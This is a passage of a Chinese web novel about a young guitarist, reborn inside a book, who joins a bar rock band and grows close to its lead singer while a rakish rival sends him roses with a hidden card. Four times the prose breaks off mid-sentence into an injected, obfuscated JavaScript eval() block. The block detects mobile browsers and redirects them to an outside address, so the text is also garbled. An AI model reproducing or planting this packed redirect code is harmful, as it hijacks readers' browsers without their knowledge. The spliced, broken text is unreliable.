游星戈刚出阳台,就看到他本来要找的人倚在他自己房间的阳台边,两臂交叠,抽着烟,侧脸在淡蓝色的傍晚天色里很优越,只有烟上一点点火星,明明暗暗。 程际野个子很高,瞥见他时还下意识要把烟掐灭。 游星戈打了个手势拦住他,以极其流利的动作从程际野的烟盒里抽出来一支,动作快得程际野都没反应过来。 “借个火?”游星戈像模像样地叼着烟,笑起来,程际野手里的烟映在他眼里,火星衬得他眼睛很亮。 程际野刚想说小孩别吸烟,转眼就想到游星戈其实已经二十一了,就算放在有禁烟段的美国也过年龄了,但是他开口还是拒绝:“没带打火机。” 他伸手要把游星戈嘴里叼着的烟拿出来。 游星戈没让他拿,他俯下身,凑在程际野指间夹着的烟头上,像火柴划过的声音,噌地一下就点着了火星。 他有些得意地眨了下眼。 程际野没说话,烟灰在指间抖落了点。 “明天排练,你曲子都记熟了吗?”过了一会,程际野才想起来什么似的问。 “当然。”游星戈说,他同样倚着阳台栏杆,一只手拿着烟,风里传来楼下影像店的音乐,带着点怀旧感,像是旧胶片的黄。 他跟着哼了起来,只有调子。 程际野在旁边抽着烟,一直没说话。 这年头最时兴的歌都很伤感,要不就是那种又疯又叛逆的,说是发扬青少年的精神,大街上夜市路边摊音箱放着的流行歌也颓丧伤痛,听了一转下来只能记住歌手谈了几场恋爱怎么分手的,混在路边打着喇叭的广告声里也不违和。 他哼完一首就没哼了。 两点火星在淡蓝色寂静的傍晚移动,游走的轨迹上洒着点不明显的小火点。 烟卷渐渐褪到最后,游星戈这时候才发现是万宝路。 这牌子二十世纪诞生的时候是女士烟。 他顿了一下,然后浑不在意地看着烟卷上灰色的一层爬上指尖,在即将烫到手的时候才捻灭。 程际野早掐灭了烟,这时候抬眼看了他一眼,才注意到一般:“你头发没擦干。” 这是句陈述句。 游星戈摇了摇头:“没事,这感冒不了。” 程际野移开了视线。 这小卷毛还挺心大。 祈城的晚风很凉,程际野又有一搭没一搭地和他讲了乐队的情况,酒吧和祈城的市区分布,大部分都是常识,他说着说着就离原来的话题十万八千里远了。 游星戈在旁边听着,时不时插上两句,话算不上很多。 开朗,灿烂,也很有分寸感,除了这个年纪的年轻人所特有的单纯自来熟外,没有别的缺点。 卷毛青年给程际野的印象就是这样。 ……还可以补充一条,某种程度上和他的品味不谋而合。 他是指音乐上的。 夜色渐深,游星戈先扛不住了,打了个哈欠要回去,提着没喝完的果汁饮料,还和程际野说了晚安。 “对了,”游星戈打了个响指,想起来什么,回头道,“我会做一个好吉他手的。” 他的栗色眼睛里盛着亮亮的东西,像是祈城泼下来的灯光。 程际野看向他的眼睛,然后才点了下头。 游星戈走后,他继续倚着阳台,看向了居民楼外南城区的灯火。 指间的烟头一直没放下来,他碰了碰外套的兜,那里安静地躺着个打火机。 程际野想,这小卷毛还挺讨人喜欢的。 ———————— Huracán酒吧新来了位吉他手,黑色卷发,生得很漂亮,有一双深栗色的眼睛,笑起来太阳一样暖融融的。 酒吧里的常客最开始还对这位新吉他手感到惊讶,毕竟他的长相实在不像玩摇滚乐的,结果这位看上去彬彬有礼得像会出现在高中优秀毕业生展上的年轻人一上场,他们又默默收回了质疑的声音。 ……别的不说,这新吉他手high起来还挺疯,耀眼夺目得让人难以移开视线。 弹起吉他的时候更是如此,没人能不喜欢那双明亮又漂亮的眼睛。 又是个天生为音乐而生的人才。 查尔斯很喜欢他们的新吉他手,在至今为止的几次排练里,都操着他那来中国不知道多少年的普通话痛哭流涕地表示,这是他命中注定现在终 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13631666|143577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于来到的好兄弟,是他们最棒的吉他手。 从ONE诞生那一天就缺少的一块现在被补齐了。 他如此评价道。 乐队永远不能缺少一位好吉他手,其他成员也是同理。 虽然查尔斯说话总是带着点西方人的夸张,夸人夸得漫无边际,但他确实希望乐队能更好。 因为音乐是需要屏气凝神来做的东西,写出它、唱出它、听见它都要用到自己的心,所以合拍的乐手总是难得,因为他们交流的是自己的心。 投注在ONE的目光里,除了追逐崇拜,从来还有更多的东西。 不是每个人都冲着摇滚乐来的,但是这并不妨碍他们对每一场演出都全力以赴。 对音乐执着的精神,也是《乐成》里所书写的东西。 ———————— 这天是个周末,游星戈第二个登场的周末。 外面的天色黑了,他在后台刚把乐器包拿下来,那是把很漂亮的吉他,暗金色的琴面,弦色也动听,连程际野也夸过这把吉他的音色。 程际野现在正在调试设备,这本来不是他应该干的,但酒吧的调音师今天请假,陈青正在他旁边帮忙。 酒吧渐渐被拖进深沉的夜色里,等他们上场时,酒吧里的客人在冷雾和灯光的照射下也等得要疯狂。 Huracán是南平巷子里最大的酒吧,夜晚时带着灯红酒绿和摇曳的人群,大多数人蹦完迪甚至能直接勾搭上人出去滚上更加疯狂的一夜。 当然不是没人试图勾搭这支常驻乐队的主唱,但是程际野基本上唱完就直接走掉,在后街烧烤摊上偶遇的可能性都比这大。 今晚舞台打着的灯光算不上明亮,台下的人影晃起来,斑驳又迷离。 音乐轰鸣般炸起,上次游星戈在吧台边看着,现在已经站在舞台上了。 乐队的配合天衣无缝,光是出场就有人在下面尖叫,鼓声炸进人的心里,从上世纪就被打上自由叛逆标签的音乐无论在哪里响起,都会引起年轻人的注目。 主唱有一副得天独厚的嗓音,简直天生就是吃这碗饭的,程际野是多年前的起点文里爱写的那种主角,在舞台上彻底褪下懒散,锋利得像把出锋的剑。 音乐当然很美,唱起的是很多年前某首红极一时的歌,来自有些遥远的年代,新来的吉他手让有的生客没认出来,但是骄傲飞扬,卷发在招摇的灯光下扬起,舞台一起带出惹人迷醉的音乐。 台下的人摇晃着尖叫,今天难得穿得像个摇滚乐队成员的游星戈朝台下抛了个飞吻。 现在,他的人和音乐一样酷,乐手神采飞扬,让人难以忘记。 但是依旧有人稳稳地坐在角落里,离上次游星戈坐的位置不远,阴影里带出眼尾边一颗泪痣,细领带勾出斯文败类的气质。 旁边人在谈论着新音乐,聊起了新来的吉他手,一起被淹没在周围的声音里。 眼尾有颗泪痣的男人像是没听到一样,喝了一口酒,投注在新吉他手身上的目光显得若有所思。 如果游星戈能够把书里的内容对上的话,他在见这人第一面就会知道他是谁。 唇角勾出的冷釉般的颜色,来自原书里的半个反派,前期占了几页篇幅用来描写的纨绔,沈质。 5. 操心的程际野 台上的游星戈毫无所觉,他全身心地投入到表演中,一个漂亮的滑音推动音乐走向高潮,所有的乐器一起轰鸣,灯光和人海一起涌动,像是流动的海洋。 程际野最高的key也极漂亮,利落得让人难以招架。 在铺天盖地的乐声里,主唱和吉他手对视了一眼,鼓声震得人心生疼,漩涡一样的音乐氛围把他们俩一起拉了进去,迷醉而狂乱的,海浪般涌来。 游星戈看到了程际野有一双深得不正常的眼睛,被音乐的情绪所感染,眼尾被灯光扫到有点红,不经意间的,流露出沉醉的音乐的归处。 那股浪潮像是要把人掩埋,掌声欢呼也压不住的音响在翻滚,鼓声、烟灰和舞,酒精、高跟鞋和人潮拥挤的汗味,齐齐炸开时将人带入了一个醉生梦死的艺术之镜,仿佛要冲进上世纪六十年代灯光昏暗变装盛行的摇滚乐里。 游星戈移开了视线,程际野扫过来的那一眼让他觉得自己现在需要水,喉咙干涩得像是咽下了一整块全麦面包,但他依旧跟着音乐节奏,拨弄着琴弦。 乐队需要一个吉他手,这本书需要一朵花边的绿叶,他得有职业操守。 舞台灯光的摇晃带着焦点的转移,躁动里涌动着情潮的空气被吉他手扫过,流畅的音符和变奏压过蠢蠢欲动的人群。 在从台下投注的无数炽热视线里,认真起来的卷发吉他手敏锐地察觉到了格外不同的一束,但是等他捕捉到时,又隐蔽地消失在了台下的一片黑暗里。 游星戈微不可查地挑了下眉,常年混迹在各种目光狩猎中的他能够轻易分清这些投注目光的人的意图,那种暗流涌动下的,带着獠牙的,来自于几乎碰到同类人的目光。 狩猎般要侵略过边界。 游星戈下意识扬起了笑,眉眼飞扬,暗金色琴面镀过的色泽同样沐浴在他身上,让他褪去了外表的孩子气,显得漂亮又叛逆。 就算在唱歌时也没忘了看一眼他们的吉他手的程际野顿住了,没忍住在下一个开口前又瞥了一眼游星戈,卷发的吉他手拨了个弦就神采飞扬,让人移不开眼。 不知道在冲台下笑什么。 长得实在太出挑了些。 在这里,他们单纯的吉他手长成这样可不是件好事。 程际野略有些懒散地垂下眼,握着的立麦杆一片冰凉,他的音乐也一起滑进了较低的调子里。 那道目光很快消失无踪,游星戈也就懒得试探了,和乐队的配合越发默契,查尔斯打着鼓的时候都在咧开嘴笑。 演出伴随着掌声和喝彩结束,差不多持续了三个小时,等到他们下台的时候,就又是凌晨了。 之前的观众要求安可还扔了不少玩偶到台上来,李钴一不小心差点被绊倒,最后心服口服地拿走一个带回家给他女儿玩。 就算是凌晨,台下很多人也算是又唱又跳了很久精疲力尽,仍然有些眼疾手快的粉丝等着程际野从侧边下台给他塞小纸条,还有大胆的冲上前来直接送东西的,程际野早有先见之明地戴上帽子,把帽檐压得极低,从侧门出去了。 被他随手扔进垃圾桶里的纸条上有带着口红吻痕的联系方式、平常人看了会脸红心跳的露骨内容,甚至还有酒店的房号,混在一起像是没有头绪的线条。 ONE是和酒吧签约的常驻乐队,在这里有一两年了,积累了不少粉丝,但是程际野算玩乐队里有原则的那批,还真不至于挑粉丝下手。 查尔斯他们知道他们的主唱和游星戈住在同一片屋檐下,挥挥手再见的时候没看见游星戈还有点疑惑。 程际野刚要从侧门进去看看,就看到侧门里角的阴影处,背着吉他包的游星戈从一个女孩手里接过了一捧鲜花。 那个女孩扎着红色丝带辫子,穿了件同色的裙子,看上去有点腼腆地和游星戈说了些什么,隐隐约约能听清,说是送给游星戈的。 刚开口两句,女孩就有点不好意思,搭讪断了,她结结巴巴没能说上话。 在程际野的视线里,游星戈冲女孩一笑,然后说很喜欢这花,那个女孩才松了一口气,红色的发绳一起摇晃起来,以一种出现在酒吧里显得有些不可思议的可爱姿态朝游星戈挥了挥手说再见。 程际野的目光转向了游星戈。 他这时候站在侧门边上,单手插兜,外面浓重的星色一起被笼罩进了门内,只能看到游星戈接过花,往怀里一带,似乎很喜欢这花,干净的脸庞还带着笑,与红色的玫瑰映在一起,显得露水般的剔透。 程际野狭长又极深的眸子里划过些不置可否。 游星戈刚来的时候,上台演出也有人送过他花,但是游星戈没收。 所以——程际野脑海里划过了那个女孩的脸,看上去还挺可爱的——原来是青睐这种类型的吗? 他的心头涌起一种微妙的感觉。 而收到玫瑰花的游星戈现在则试图理清刚刚女孩和他说的话,那个女生说话声音太腼腆,他甚至只来得及听清对方是帮朋友送的,女生就一溜小跑走了。 花很好看,层层叠叠的拢在报纸里,盛放的姿态有些嚣张又叛逆。 和那个女生腼腆的性格不太相符。 既然是帮朋友送的,也不见她那位朋友在哪。 游星戈看着玫瑰,想到了这个问题。 就在他思考时,旁边一道阴影投下,程际野那下压不起来头发的影子在玫瑰花上投射了一点,他侧头一看,男主那张酷得不成样子的脸出现在面前。 游星戈这一侧头太突然,隔着玫瑰花捧就挨着的两个人呼吸都拉近了。 纠缠的,又清新的带着靡丽花香的空气。 程际野一顿,想往后退一步又觉得这动作太突兀,只好对上了游星戈那双栗色眼睛,声音莫名有些干涩:“走吗?” 其实玫瑰花很衬游星戈的栗色眼睛,西欧童话里伴着麦田与河流长大的王子大概也有这样一双眼睛。 游星戈看向对方深邃的眼眸里,那里暗暗压着的像是一片沉溺的海,他心下一动,露出个清澈的笑容:“等一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13631667|143577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下。” 玫瑰花下的枝叶在被摘下时就已经停止了生长,或早或晚会凄惨凋零,但游星戈向来珍爱美好的事物,哪怕只能拥有片刻。 他将包着玫瑰花的报纸拢好,遥远星空透过侧门进来的星光和酒吧里前厅还亮着的几盏灯照得他脸庞认真。 看到他这么珍惜这捧花,程际野本来想说的话还是没留住,他的声音很和缓:“粉丝的花可以收,不过——” 他的话音刚刚转过来,游星戈就抬起他那双澄澈的眼睛,程际野一下卡了壳。 卷发青年收拢话花束的手停住,发出了困惑的声音:“嗯?” 程际野把“不要和粉丝谈恋爱”这句话咽了回去,他换了个更委婉的表达方式:“如果你想的话,还是建议你把更多的精力放在音乐上。” 不是乐队,也不是其他。 总有传言说,吉他手是乐队所有成员里绯闻最多的那个,这句话其实不太全面,玩乐队的花起来可不限定身份,如果是个爱玩的主,床上一水儿滚过去人,打炮睡粉骨肉皮儿多人运动,迷乱叛逆的音乐将给乐手以最大的滤镜,让他受万人追捧和爱慕,最后在浮华光影里丢掉自己的初心。 他们的新吉他手年轻,单纯,又生了副太盛的皮相,所以他当然有责任提醒他。 游星戈是个很纯粹的、对音乐有热爱的年轻人,程际野能从他的眼睛里看到,那种注视着吉他时闪闪发光的眼神,所以他希望游星戈无论在哪里,依旧能够拥有这样一双诚挚的眼睛。 程际野这样的目光加上他的话,让卷发青年眨了眨眼。 他只是接了个花而已,程际野怎么一下就想了这么多? 先不说他有没有谈恋爱的意向,就算有他也不会选择女生作为对象。 游星戈带着花:“只是别人的心意啦。” 他弯起眼睛,接着道:“不过,我明白你的意思。” “谢谢你,哥。”他轻声说。 虽然不知道程际野心里山路十八弯想了些什么,但是,这并不妨碍游星戈觉得,程际野和通俗意义上的起点文男主不太一样。 他好操心哦,游星戈从中品味出来。 程际野点了点头,然后又一次发现游星戈把哥挂在嘴边。 看在这人笑起来又甜又讨巧的份上,他顿了下,最后默认了这个称呼。 游星戈从侧门出来的时候,程际野依旧保持着他那冷峻沉思着的身姿,游星戈把花束往怀里一搂,看到对方那张凌乱浓密头发下那张棱角分明的脸,没忍住走神: 其实虽然不能和男主谈恋爱,但是打个炮应该没事吧? 他是真心有点实践这个想法。 来场意外,好兄弟也是可以和好兄弟滚上床的。 最后是游星戈那隐隐作痛的良心把这一切拉了回来。 他其实并没有那么着急。 游星戈向来有最长足的耐心,他想得到的东西,最后总会得到。 他等着男主自己进他碗里来。 6. 卡片 游星戈早上迎着太阳醒过来,洗漱完毕换了身衣服就下了楼。 这一条街都临近城南市中心,夜晚的时候酒吧灯火憧憧热闹非凡,白天的时候倒沉寂下来,晨光里透了点白,有老人在打太极,石桌上摆着茶。 最近的一家包子铺蒸得好吃,游星戈把纸币递给老板的时候,周围还有几个中年男人在说话,他们是附近施工队的。 游星戈接过老板递过来的包子时,那包子被包在报纸里,报纸黑体印刷出来字还印蹭上了一点。 早上人少,老板看他是半个月来的新客,边擦着桌台边和他聊了起来。 知道这清清爽爽的小伙子刚来祈城,老板还诧异地看了他一眼。 开水要烧了,老板在旁边絮叨,说祈城这两年发展不好了,认识的早就往京都跑去了,天天闹气熏天的,也不知道留在这有什么好。 游星戈在旁边搭了几句腔,也不好意思说自己就是从京都跑来祈城的。 从包子铺离开后,游星戈去菜市场买了菜,又绕着公园走了一圈,权当沐浴阳光,然后才上了楼。 他带走的是两人份的包子,还有一份干脆就挂在了程际野阳台的把手上。 只是这位男主早上起的比他还早,他出去的时候不见程际野人影,回来的时候也不见人影。 游星戈在自己的房间里随意挑了张白纸写写画画,半搭着条腿,咬着笔,不久前收的玫瑰花被安静地放在了玻璃盏里,早晨的阳光从外面透过来,漂亮的花映着漂亮的人。 时间伴随着房间里的沙漏一起慢慢流逝。 程际野刚从外面回来就看到自己阳台门上挂着一袋包子,能从阳台过来的人就只有他们的吉他手,程际野有些意外地看了眼自己手里的包子,心想这大概算某种意义上的巧合。 谁让街角只有一家包子铺。 他提着包子敲了敲隔壁的阳台门。 埋头在纸稿里的吉他手没听到,咬着笔在白纸上涂写,于是程际野耐心地又敲了一遍门。 游星戈这才若有所感地抬起头,笔尖顿住,在程际野的视线中,游星戈的眼睛嗖地一下亮了,然后穿着拖鞋就来开了门。 “你放的?”程际野提起来手里的包子问。 “是我。”游星戈把门拉大了点,让程际野进来。 程际野默了一瞬,原本想让游星戈拿回去的,毕竟他是真吃不完,但是现在嘛——他看向游星戈那双能盛起来外面阳光的明亮的眼睛——又默默把话头止住了。 他当然不想浪费这小孩的好意。 “你刚刚不在家,我就给你挂在门把手上了。”游星戈接着说。 “我去教小孩上课去了。”程际野解释道。 除了乐队成员这一层身份外,他也教人小孩上音乐课,周末的时候会有点忙。 他跟着游星戈进了房间,眉眼懒散,深色的瞳孔却显得有些锐利地扫视了一圈室内。 那捧玫瑰依旧摆在那里。 程际野顿了下,然后收回了视线。 “对了,”游星戈想起什么似的,拿起来刚刚一直在写的东西,“有个问题想问问你,哥有时间吗?” 他盘着腿坐在地板上,仰起头来笑得无忧无虑,恰好对上了程际野的视线,穿好的衬衣在他的动作间拉开了点,白皙的脖颈处恰到好处地落了几分阳光,被镀上了一层暖色。 像擦干水的红苹果被浸润的淡淡光泽。 程际野没说话。 “哥?”游星戈有些困惑地在他的眼前招了招手。 意识到自己在看什么的程际野把目光转向他,然后才从他手里接过了纸稿。 自己刚刚到底在看什么?程际野拿着纸稿的手压重了些,神情微不可见地划过了一丝懊恼。 但是这并不妨碍他外在的表情很平和,让人一时间无法从那一片波澜不惊中窥见底下触见礁石的激流。 盘腿坐着的青年眼神满是信赖地看向他,程际野心头莫名奇妙涌上了一丝微妙的心虚。 他将手里的纸稿往后翻了一页。 纸上最开始只有几段旋律,用简谱标的,往后看一首歌的结构就渐渐分明,和弦层次、段落划分都显出轮廓,几页纸上都充满了修改和推敲的痕迹,程际野看着看着,内心那种毫无缘由的心弦拨动就静了下来,看到最后,他挑了下眉。 “很不错的曲子,”程际野说,“你有什么想问的?” 他在这种事情上大概拿出了一百二十分的认真,干脆同样盘腿坐了下去,和他的吉他手齐平,拿着纸稿的手骨节分明,懒散不再,连不羁发丝下的侧脸都透出一丝不苟。 只是身边凑过来的人带着一股暖气,是那种被阳光晒透的味道,闻起来太过好闻,程际野不动声色地往旁边挪了点位置。 可惜他毫无所觉的吉他手一下揽住他的脖子,毫不犹豫地指着一行旋律开始问他问题。 程际野耐着性子和他说话,实则内心想让着自来熟的家伙快点撒手。 不知道是不是从阳台玻璃窗透过来的太阳光束太强的缘故,阳光直接蒸得程际野脸上泛起了点薄红,不太明显,又硬生生被他冷峻的神色给压下去了。 游星戈手指点了下纸稿,侧头看过去的时候暗暗觉得好笑。 他问的这些问题范围广,但是都不算很难,程际野一一答了上来,他每多说一句话,游星戈碰到灵感来了的地方就嗖嗖拿出笔记了下去,认真得不成样子。 可惜让他这么认真的人就没有那么专心了,程际野忍住了把吉他手的胳膊从脖子上拽下来的冲动,但是也没忍住这人身上被阳光晒过的味道涌进他的鼻腔里。 在游星戈咬住笔尖若有所思地想要把划掉一段旋律时,另一只手自然地划拉过了程际野的头发,卷发和程际野有些凌乱散直的头发缠在了一起,连呼吸吐出的热气也带着阳光的炙热。 程际野低声说:“坐规矩点。” 在他的目光内,卷发的吉他手愣了一下,然后把胳膊拿了下来,栗色的眼睛有些不明所以的迷茫:“不好意思?” 有些困惑。 好像真的没意识到他的动作有什么问题。 程际野顿了下,只觉得自己想得有点多,就切了个话题,把他的笔拿下来了:“不要老咬笔,习惯不好。” 他说这话的时候很正经,黑发下的侧脸棱角分明又带着点诚恳。 把刚刚的话揭过去了。 游星戈说:“只是偶尔。” 程际野把笔还给他,然后看着这人接下来果然没有再咬笔,在纸上写东西的样子认真极了。 他把刚刚缠在一起的发丝给拢了过来,看着游星戈动笔,时不时还和他跟上一段旋律,在吉他上试奏。 沙发边的阳光在窗帘的阻挡下并不刺目,让房间里显 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13631668|143577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得安静而平和,音符的流动也顺畅悦耳。 时间不知不觉到了中午,歌没润色完,饭点先到了。 卷发青年终于把纸稿一推,有些兴高采烈地说:“在我家吃饭吧。” 程际野有些犹豫,但是看到游星戈还挺兴致高昂,就接受了这个提议。 等到游星戈在厨房忙活的时候,程际野才拿过了刚刚一直在改的纸稿。 旋律很美,缺了歌词。 游星戈确实是很有天赋那一类的,程际野看向了厨房里的卷发青年,对方哼着歌,沐浴在阳光下,一派干净明朗。 在大学时应该也是很受欢迎的那类人。 程际野自己大学毕业几年了,对校园的印象有些模糊,现在才能依稀从游星戈身上感受到那么一点大学校园里的气息。 单纯,明亮。 他漫不经心地将手里的纸稿放下去,玫瑰花在阳光下的影子投射在上面,程际野有一搭没一搭地扯过来一株玫瑰。 修长有力的手在触到花茎的时候被近乎透明的刺扎了一下。 他这才看了一眼。 花很漂亮,就算在玻璃盏里放了不少时间依旧保持着鲜亮的模样。 只是,暗处的花叶茂密处好像有什么东西。 程际野挑了下眉,修长的手探进去,拿出来了一张卡片。 隐藏得不深,只是游星戈好像没发现。 是一张和玫瑰同色的卡片,上面还写了字,笔触潇洒里带了点匆忙,是济慈的一句情诗。 联想到送这玫瑰的人是个小姑娘,程际野没什么感想地把卡片翻到了背面。 落款也很潇洒的两个字:沈质。 这两个字写得极漂亮嚣张,内敛的骨形也不能收下的放肆。 程际野顿住了手。 他认识这人,混南平巷子里的有名的纨绔,花花公子,专挑好看的下手,手段还不是很光彩,时不时因为治安问题被附近看守所扣押,最后又因为有点关系毫发无损地出来。 重点是,这家伙是个gay。 那他借人之手送花的意图就很明显了。 程际野皱了下眉。 再翻到前面看到那句济慈的情诗时,他在心里给出了附庸风雅的评价。 念诗的人不应该是一个床上闹出来过人命的家伙。 他不紧不慢地把卡片对折扔进了垃圾桶。 更重要的是,这卡片是给他们刚出校园还单纯无知的吉他手的,这可不是一件好事。 趁游星戈还没发现给销毁了才好,让他以为是个小姑娘送的都比这好。 就在他看着垃圾桶里的卡片沉思的时候,从厨房传来了一声惊呼,游星戈往后一下子退到了门边。 程际野站起来要去看看怎么回事,游星戈拦住他:“别别别,我来。” 程际野看了他一眼,走进厨房里。 很好,该出现的场景还是出现了——厨房炸了。 准确地说,也没有那么浮夸,程际野只是看着火没止住的锅,又看了眼神色有点尴尬的卷发青年,叹了口气:“我来吧。” 今天的午饭以程际野的出手为起点,他们收获了一桌美味。 游星戈反复强调自己是一时失手,程际野敷衍地应着,在卷发青年先是不敢置信后又垂头丧气的眼神里给他夹了一筷子菜。 还好他会做饭,程际野想。 7. UNO 这张卡片最后还是被游星戈发现了,在程际野离开之后。 轻易掠过那句济慈的情诗,他将卡片翻了面。 极花哨的字体,末尾还缀了串不显眼的数字。 应该是电话号码。 游星戈在心里默念了一遍名字,把沈质和书里的人对上之后,才将卡片扔进了垃圾桶。 这属于他知道的角色,起点文里所有想对主角不利的反派最后都结局惨淡,沈质也是其中的一个角色。 他只是没想到,这个人居然会对他感兴趣吗? 游星戈有点困惑,毕竟他什么都没做,乐队的吉他手在书里是个并不显眼的角色,哪怕是书里的游星戈,也没有吸引沈质的道理。 算了。 因为阳光帅气一向很受欢迎的卷发青年很是干脆地放下了这个问题,他捧起了花。 亮闪闪的花瓣间碎金般流淌过阳光,游星戈有一搭没一搭地勾弄着最后一颗尚没来得及开放就被摘下的花苞。 他倒是有点好奇程际野帮他扔掉这张卡片的意图。 ———————— 街角老破旧的商店音响放着当红歌手上个月新出的CD,游星戈提着包子从街角穿过。 路过报亭的老板是个中年仍沉迷游戏机的二宅,报亭位上盗版磁带和港媒小报堆在一块,散发着淡淡的霉味,中学生们放了学喜欢聚在这对着海报叽叽喳喳,上学的时候则不行,背着书包只能给出一个恋恋不舍的眼神。 游星戈逆着这群中学生走,他来祈城这一个多月,还是带了点和祈城整体氛围不太搭的那种蓬勃向上的气息,和中学生们居然没什么差别。 除了个子长得高以外。 游星戈上了楼,在将包子顺一半进冰箱里之后,又慢悠悠提着剩下一半拐进了隔壁阳台门,这都是他和程际野半个月来说不上的默契了。 但是今天门没有推动。 游星戈眨了眨眼,他的裤口袋里有男主阳台门的钥匙,上次程际野给的,但是他提着包子懒得开门,透过玻璃也能看到家里不像有人的样子。 下午还有排练来着。 想到这,游星戈叼着口包子给程际野发信息,等到他回到自己房间的时候就收到了短信。 看到那条信息,他才意识到什么,若有所思地将视线落在了包子上。 程际野这两天回家了。 和一般的起点男主不同,程际野的家庭极为平常,最多只能称得上一句关系疏远,一半是因为早早去世的母亲,一半是因为大学毕业后他去搞音乐,被老顽固的父亲痛斥为不务正业要和他断绝关系。 居然还会回家吗? 游星戈顿了一下。 他上辈子不是有家的人,这个世界的身份也是孤儿,还真不太明白这种关系。 不过这也没有关系。 在从程际野那里知道他下午就回来后,游星戈把剩下的包子放进了冰箱里,然后打开唱片机,上世纪的单曲唱片里燃烧起高音萨克斯solo,游星戈把挡着视线的桥牌往旁边放了放,拿过吉他来开始练琴。 就算抛开吉他手这一层身份,他依旧很喜爱音乐。 不仅因为它是消遣生活很好的方式,也因为他曾为音乐付出很多,这是他钟爱的艺术。 下午排练的时候,程际野来了,从走廊那边过来的时候还带着个酷酷的鸭舌帽,鸭舌帽下面透露出几缕没有被打理好的头发。 游星戈正要推开排练室的门,就发现男主悄无声息地来到了他身边,他侧头,声音里带着点午睡后的鼻音:“哥?” 程际野刚刚从外边回来,走过来时带着有些不符合平日姿态的匆忙,皮衣上的金属拉链碰撞间作响。 他这时才注意到游星戈,听到他开口的称呼抬了抬眼:“你可以直接叫我名字。” 听游星戈叫了他一个月的哥,他还是有点不习惯,毕竟也没听游星戈叫乐队里的其他人哥。 卷发青年听到后露出思忖的表情,程际野也不知道他想起了什么,只能看见他脸上的表情有忽地变得有些捉摸不透,像是想露出什么笑但是最后忍住了。 这是因为按照游星戈以前叫人的习惯,总会把人名的最后一个字叠着喊,但是这条大概不太适用于程际野。 他这下没说话太久,原本规矩站着的男主往门框上倚了下,好整以暇地等着他开口。 游星戈勉强找了个理由,尽量使自己的外表显得困惑:“不可以这样叫吗?” 说完他自己都差点要被自己的语气逗乐了,拼命把嘴角往下压。 程际野靠着门,和黑沉色头发相似的眼睛对上游星戈的,又在卷发青年的眼里发现了点笑意。 不太像个乖乖仔的样子。 程际野不置可否。 他生了副宽肩窄腰的好身材,这么看着游星戈,稍稍带了些压迫感。 时间流逝。 最后还是他退了一步:“你要是想这么叫也可以。” 游星戈这才放松,近乎轻佻地眨了眨眼。 没有人能拒绝游星戈,穿了件机车服戴着鸭舌帽的男主下意识想伸手把他头发上一缕翘边的毛压了下去,伸到一半又发现不太对,硬生生把手压下去了。 “进去吧。”他说。 他们来得挺早,还没到约定的排练时间,最后一个踩着点来的是陈青。 排练对于ONE这支乐队来说是轻车熟路,查尔斯还说起来再攒几次演出的钱他们就可以去录音棚多录几首歌,毕竟这年头设备顶尖的录音室租用费可不低。 他说起话来还带着点大舌头,但是语气里有着对未来满满的憧憬。 等到排练结束之后,查尔斯说他要请客,然后他们在烧烤摊上玩起了一种叫做UNO的纸牌游戏,输掉的人必须回答真心话,不然就罚酒一杯。 这游戏玩得慢,但是游星戈没怎么在这方面输过。 可惜他们玩了两把之后,陈青就开口说有事要离开。 面色苍白的青年带着盈盈笑意,让人不好拒绝,离开前还和他们的主唱击了个掌,背影看上去有点瘦弱。 游星戈正试图把查尔斯乱动的手拍掉,扭头问程际野:“陈青这么快就走了?” 他和人熟得快,连李钴这样沉默寡言的人都能上肩,唯独乐队的键盘手过于高冷,和谁都是一副带笑又不好接近的模样。 程际野说:“他挺忙的。” 这个游戏最后剩下四个人玩了。 最后一局的时候查尔斯终于先赢了一次,随后李钴面不改色地打出了牌。 程际野顿了顿,看着卷发青年无所事事一点不知道大祸临头的样子,选择了让牌。 这下形容颇为不羁的李钴露出个神秘的微笑,打出最后一张牌,赢了。 几乎没正面对决过的程际野和游星戈来到最后一把,卷发青年终于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13631669|143577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 